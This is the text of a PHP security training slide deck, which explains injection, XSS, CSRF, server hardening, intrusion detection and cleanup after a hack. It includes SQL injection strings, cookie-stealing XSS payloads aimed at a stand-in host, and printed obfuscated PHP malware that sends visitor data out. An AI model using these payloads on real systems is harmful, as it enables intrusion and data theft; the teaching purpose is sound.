Wim Godden Cu.be Solutions My app is secure... I think
Jul 15, 2015
Wim GoddenCu.be Solutions
My app is secure...I think
Who am I ?
Wim Godden (@wimgtr)
Where I'm from
Where I'm from
Where I'm from
Where I'm from
Where I'm from
Where I'm from
My town
My town
Belgium – the traffic
Who am I ?
Wim Godden (@wimgtr)
Founder of Cu.be Solutions (http://cu.be)
Open Source developer since 1997
Developer of OpenX, PHPCompatibility, ...
Speaker at PHP and Open Source conferences
Who are you ?
Developers ?
System engineers ?
Network engineers ?
Ever had a hack ?Through the code ?
Through the server ?
This tutorial
Based on 2-day training
No Vagrant/VirtualBox required
My app is secure... I think
Basic stuff = known...
… or is it ?
Code is not enoughCode
Webserver
Database server
Operating system
Network
Disclaimer
Do not use these techniques to hack
Use the knowledge to prevent others from hacking you
Reasons for hackers to hack
Steal and sell your data
Use your infrastructure as a jumpstation to hack other servers
Send out lots of spam
Use your server in a botnet for DDOS attacks
…
Part 1 : the most common attacks
SQL Injection
Over 15 years
Still #1 problem
Easy to exploit
Easy to automate (scan + exploit)
Often misunderstood
SQL injection – sample – lostpassword.php
<?php$query = "select * from user where email='" . $_POST['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}
SQL injection – sample – lostpassword
[email protected]%27+OR+%271%27%3D%271
[email protected]' OR '1'='1
select * from user where email='[email protected]' OR '1'='1'
Worst case : data deletion
[email protected]' OR '1'='1'; delete from user where '1'='1
Knowing the database structure
[email protected]' AND email is NULL; –'
select * from user where email='[email protected]' AND email is NULL; --';
<?php$query = "select * from user where email='" . $_GET['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}
Other fields ?
id
firstname / first_name
lastname / last_name
password / pass / pwd
is_admin / isadmin / admin
…
[email protected]'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('[email protected]', md5('reallyinsecure'), 'My', 'New User', 1); --';
Update, retrieve password, update again
[email protected]'; UPDATE user set email='[email protected]' where email='[email protected]'; --';
Retrieve password for [email protected]
[email protected]'; UPDATE user set email='[email protected]' where email='[email protected]'; --';
Hackers just want your data
[email protected]' OR 1=1 limit 2, 1; --';
[email protected]' OR 1=1 limit 3, 1; --';
[email protected]' OR 1=1 limit 4, 1; --';
...
SQL Injection – much more...
Much more than logging in as a user
SQL injection possible → wide range of dangers
Fixing SQL injection : attempt #1
Addslashes() ?$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));
id=5 and sleep(10)
select * from user where id=5 and sleep(10)
What if we hit that code 100 times simultaneously ?
MySQL max_connections reached → Server unavailable
Fixing SQL injection : attempt #2
mysql_real_escape_string()
mysqli_real_escape_string()
pg_escape_string()
...
Fixing SQL injection : use prepared statements
$select = 'select * from user where email = :email';$stmt = $db->prepare($select);$stmt->bindParam(':email', $_GET['email']);$stmt->execute();$results = $stmt->fetchAll();
ORM tools
Doctrine, Propel, …
When using their query language → OK
Beware : you can still execute raw SQL !
Other injections
LDAP injection
Command injection
…
User input → PHP → External system
If you provide the data, it's your responsibility !
Session fixation
www.our-app.com
1
2PHPSESSID=abc123
3www.our-app.com/?PHPSESSID=abc123
4
www.our-app.com/
?PHPSESSID=abc123
5www.our-app.com/
?PHPSESSID=abc123
Enable session.use_only_cookies in php.ini !
Session fixation
angel.our-app.com
1Create evil PHP code
4
Session cookie on
.our-app.com +
redirect
2devil.our-app.com
3
devil.our-app.comdevil.our-app.com
5Login6
Use evil session cookie
Ways to avoid session fixation
session.use_only_cookies = true
Change session on login using session_regenerate_id(true)
Do not share sessions between sites/subdomains
Do not accept sessions not generated by your codeForeign session → remove the session cookie from the user
Regenerate session regularly using session_regenerate_id(true)
All of the above help against session fixation AND session hijacking !
XSS – Cross Site Scripting
<?phpaddMessage($_GET['id'], $_GEt['message']);
echo 'Thank you for submitting your message : ' . $_GET['message'];
URL : /submitMessage
http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
XSS – more advanced
http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-cookie.js"></script>
XSS – Advanced, yet simple
<img src=x onerror=this.src='http://someplace.io/post-the-cookie-here.php?c='+document.cookie>
http://www.our-app.com/?id=5&message=Thanks%2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D%27%2Bdocument.cookie%3E%0D%0A
XSS : Non-persisted vs persistent
Previous examples were non-persistent : issue occurs once
Post code to exploitable bulletin board→ Persistent
→ Can infect every user
XSS : how to avoid
Filter input, escape output
<?phpecho 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES);
CSRF : Cross Site Request Forgery
www.our-app.com
1
Submit article
for review
2Retrieve articlefor review
3Evil html or jsmakes call
4
Devil uses extra
privileges
Here's the article you were asking for.<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
CSRF : ways to avoid
Escape the output (where did we hear that before ?)
Add a field to forms with a random hash for verification upon submit
Check the referer header
General rules – input validation
Assume all data you receive as input
contains a hack attempt !
Filter on disallowed characters
Check validity ofDates
Email addresses
URLs
etc.
Input validation is not browser-side code, it's server-side code
(you can ofcourse use browser-side code to make it look good)
General rules – escaping output
Doing input validation → why do you need output escaping ?
What if the data originates froma webservice
an XML feed
…
Always escape output !
Bad authentication / authorization layer
index.php(checks cookie)
login.php(sets cookie)
redirectto login
main.php
redirectto main
Bad authentication / authorization layer
index.php(checks cookie)
login.php(sets cookie)
redirectto login
main.php(doesn't check
cookie !)
redirectto main
Bad authentication / authorization layer
Only hiding URLs on view, not restricting on action/somewhere is visible on screen
/somewhere/admin is not visible, but is accessible
Allowing direct access to other user's data/user/profile/id/311 is the user's profile
/user/profile/id/312 is also accessible and updateable
Allowing direct access to file downloads with guessable urls/download/file/83291.pdf
Creating cookies :loggedin=1
userid=312
admin=1
Protecting your web stack
PHP
Webserver
Database server
Mail server
Other servers
Firewalls
...
Protecting your web stack - PHP
Update to the latest version (5.4 = EOL, 5.5 will be EOL this year)
Safe_mode = dead → use PHP-FPM or VMs
Register_globals = dead :-)
Suhosin patch → mostly for web hosting companies
Disable 'dangerous' PHP functions you don't needsystem
exec
passthru
'Eval' is not a function, so can not be disabled
Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
...and don't show exceptions, but...
…log them ! And watch your logs ;-)
If you use filenames as parametersdownload.php?filename=test.pdf
Make sure you don't allow ../../../../etc/passwd
Use basename() and pathinfo() to restrict
File extensions :Use .php
Don't use .inc, .conf, .include, ...
Detecting hack attempts from PHP
2 options :Build your own
Use an existing system
Building a simply system
Add a hidden input field (bots will fill it out)
Implement a captcha
Limit number of attempts on captcha
Limit number of posts to certain URL
Limiting number of posts to a URL
function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); }
$now = new DateTimeImmutable();
if (count($submissions) == 10) { if (new DateTime($submissions[0]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); }
array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true;}
Using an existing system
PHPIDS :The standard IDS for PHP
More complete
Exposé :By @enygma (Chris Cornutt)
Faster
Use the same ruleset
Provides impact value =
level of trust in data
$data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ));
$filters = new \Expose\FilterCollection();$filters->load();
$logger = new \Expose\Log\Mongo();
$manager = new \Expose\Manager($filters, $logger);$manager->run($data);
// should return 8echo 'impact: '.$manager->getImpact()."\n";
Protecting your web stack – Passwords
Don't create your own password hashing algorithm !
Use password_hash5.5+ : built-in
< 5.5 : ircmaxell/password-compat
Don't md5() → sha512, blowfish, …
Set a good password policyMin 8 chars, min 1 number, min 1 capital, …
Try to avoid password hints→ Email is better for recovery
Protecting your web stack – Webserver
Block direct access to upload directories
Allow only access to port 80 and 443 (!)
Disable phpMyAdmin (VPN only if required)
On Apache don't :AllowOverride All
Options Indexes
Block access to .svn and .git
Detect and ban flood/scan attempts in Nginx :http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;
server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; }}
Use automatic logfile scanner & banner
Example : Fail2ban
[http-get-dos]enabled = trueport = http,httpsfilter = http-get-doslogpath = /var/log/nginx/access.logmaxretry = 300findtime = 300bantime = 600action = iptables[name=HTTP, port=http, protocol=tcp]
Protecting your web stack – Database server
No access from the web required
Give it a private IP
Other users on network ?
→ send traffic over SSL
1 user per DB
1 DB per application
Protecting your web stack – Mail server
Setup SSL for POP3, IMAP, SMTP
Setup DomainKeys
Setup SPF (Sender Policy Framework)
Protecting your web stack – DNS server
Possible weak point in architecture
Controls web, MX (mail) records, anti-spam, etc.
DNS hijacking
DNS spoofing
Protecting your web stack
Use public/private key pairs, not passwords
Don't login as root
→ Use sudo for commands that really need it
Allow SSH access only from VPN
RunningMemcached ?
Gearman ?
… ?
→ Block external access
Lack of updates
Not updating system packages
Not updating frameworks and librariesNot just main components
Doctrine
Bootstrap
TinyMCE
etc.
Not updating webserver software
Not updating database server software
Recently :Heartbleed (OpenSSL)
Shellshock (Bash)
Ghost (Glibc)
Protecting your web stack - firewalls
Separate or on-server
Default policy = deny all
Don't forget IPv6 !!!
Perform regular scans from external location
Use blacklists to keep certain IP ranges out
First action of a hacker
Make sure they don't lose the access they gainedCreate new user → easy to detect
Install a custom backdoor
→ easy to detect with good IDS
Install a backdoor based on installed software
→ Example : start SSHD with different config on different port (remember firewall ?)
→ Harder to detect
→ Kill it... what happens ?
→ Probably restarts via cronjob
Using an Intrusion Detection System
Host-based Intrusion Detection System (HIDS)
Network-based Intrusion Detection System (NIDS)
Host-based Intrusion Detection System
Scans the file system for changesNew/deleted files
Modified files (based on checksum)
File permission changes
Old systems are standalone :AIDE, Tripwire, AFICK
Easy to update by hacker, not recommended (unless combined with backup system)
Intrusion detection by backup
Best Open Source tool = OSSECClient-based architecture → real-time notification that hacker can't stop
Centralized updates
OSSEC - WebUI
OSSEC - Analogi
OSSEC structure
OSSEC integration
Decentralized alternative : Samhain
Can be used centralized or standalone
Log to syslog, send email, write to DB
Processing on the clientImproves processing speed
Requires CPU power on client
Network-based Intrusion Detection Systems
SnortOpen Source
Supported by Cisco (rules are not free)
Analyzes traffic, blocks malicious traffic
Huge user base, tons of addons
Snort
Network-based Intrusion Detection Systems
SirucataSimilar to Snort
Multi-threaded
Supports hardware acceleration (packet inspection by GPU !)
Detects malware in traffic
Scripting engine : Lua (with LuaJIT)
Sirucata + Kibana
Network-based Intrusion Detection Systems
KismetWireless IDS
Detects rogue access points
Prevents MITM attacks
Detects hidden access points
Kismet
One IDS distro to rule them all
Security OnionBased on Ubuntu
Contains all the IDS tools...
...and much more
You've been hacked ! Now what ? (1/3)
Take your application offline→ Put up a maintenance page (on a different server)
Take the server off the public Internet
Change your SSH keys
Make a full backup
Check for cronjobs
Check access/error logs→ Give them to legal department
Were any commits made from the server ?→ Your server shouldn't be able to !
What a PHP hack might look like
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
What a PHP hack might look like
What a PHP hack might look like
$GLOBALS['_226432454_']=Array();function _1618533527($i){ return '91.196.216.64';}
$ip=_1618533527(0);$GLOBALS['_1203443956_'] = Array('urlencode');function _1847265367($i){ $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i];}$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');function _393632915($i){ return 'curl_version';}
What a PHP hack might look like - location
Changes to .htaccess
Files in upload directory
PHP code in files with different extension
New modules/plugins for Drupal/Wordpress
You've been hacked ! Now what ? (2/3)
Search systempreg_replace
base64_decode
eval
system
exec
passthru
Search system and databasescript
iframe
You've been hacked ! Now what ? (3/3)
Find out how the hack happened ;-)
Write an apology to your customers
Finally :Reinstall the OS (from scratch !)
Update all packages to the latest version
Don't reinstall from backup !
Install source code
Restore DB from previous backup (use binary log file)
Change user passwords
Relaunch
Takeaways
Think like a hackerCan I steal data ? Can I DOS the site ?
Which techniques could I use to do it ?
Try it without looking at the code
Try it while looking at the code
Use SSL/HTTPS everywhere !
Block all traffic, then allow only what's needed
Sanitize/filter your input
Escape your output
Block flooders/scanners
Use an IDS
Never trust a hacked system
Questions ?
Questions ?
Contact
Twitter @wimgtr
Slides http://www.slideshare.net/wimg
E-mail [email protected]
Please provide feedback via :
http://joind.in/13425
Thanks !
Please provide feedback via :
http://joind.in/13425